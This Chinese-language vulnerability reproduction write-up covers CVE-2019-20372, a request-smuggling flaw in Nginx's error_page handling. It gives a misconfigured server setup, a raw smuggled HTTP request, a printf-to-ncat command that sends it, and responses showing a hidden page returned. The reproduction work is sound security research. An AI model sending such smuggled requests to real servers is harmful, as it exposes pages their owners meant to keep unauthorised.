CVE-2019-20372 Nginx error_page 请求走私漏洞¶
一、漏洞简介¶
Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。
二、漏洞影响¶
Ngnix < 1.17.7
三、复现过程¶
错误配置
server {
listen 80;
server_name localhost;
error_page 401 http://example.org;
location / {
return 401;
}
}
server {
listen 80;
server_name notlocalhost;
location /_hidden/index.html {
return 200 'This should be hidden!';
}
}
这时候我们可以向服务器发送以下请求
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
我们看一下服务器是怎么处理的
printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET
/_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | ncat localhost 80 --noshutdown
等于说是吧两个请求都间接的执行了，我们看一下burp里面的返回值
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!
再一下nginx服务器里面的日志
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /a HTTP/1.1" 302 145 "-" "-" "-"
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /_hidden/index.html HTTP/1.1" 200 22 "-"